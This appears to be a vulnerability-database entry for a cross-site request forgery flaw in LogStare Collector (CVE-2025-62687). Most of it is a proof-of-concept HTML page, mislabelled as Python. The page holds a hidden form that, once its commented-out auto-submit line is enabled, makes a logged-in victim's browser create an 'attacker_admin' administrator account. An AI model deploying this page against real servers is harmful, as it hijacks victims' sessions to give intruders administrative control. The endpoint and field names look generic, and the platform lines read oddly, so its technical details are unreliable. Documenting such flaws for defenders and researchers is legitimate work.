Cross-site request forgery vulnerability exists in LogStare Collector. If a user views a crafted page while logged, unintended operations may be performed.
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
LogStare Collector < 2.2.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-62687 - LogStare Collector -->
<!DOCTYPE html>
<html>
<head>
<title>LogStare Collector CSRF PoC</title>
</head>
<body>
<h1>LogStare Collector CSRF Attack PoC</h1>
<p>This PoC demonstrates the CSRF vulnerability in LogStare Collector.</p>
<!-- Auto-submit form to create a new admin user -->
<form id="csrfForm" action="https://target-server/api/users/add" method="POST" style="display:none;">
<input type="hidden" name="username" value="attacker_admin" />
<input type="hidden" name="password" value="P@ssw0rd123" />
<input type="hidden" name="role" value="administrator" />
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
// Automatically submit the form when page loads
document.addEventListener('DOMContentLoaded', function() {
// Note: In real attack, this would be hidden and auto-submitted
// The request will include the victim's session cookie automatically
console.log('CSRF PoC loaded - form ready for submission');
// Uncomment the following line to execute the attack:
// document.getElementById('csrfForm').submit();
});
</script>
<p><strong>Note:</strong> This is a demonstration of the CSRF vulnerability.
The actual attack requires the victim to be logged into LogStare Collector
and visit this page. The browser will automatically include the session
cookie, allowing the attack to succeed without the user's knowledge.</p>
</body>
</html>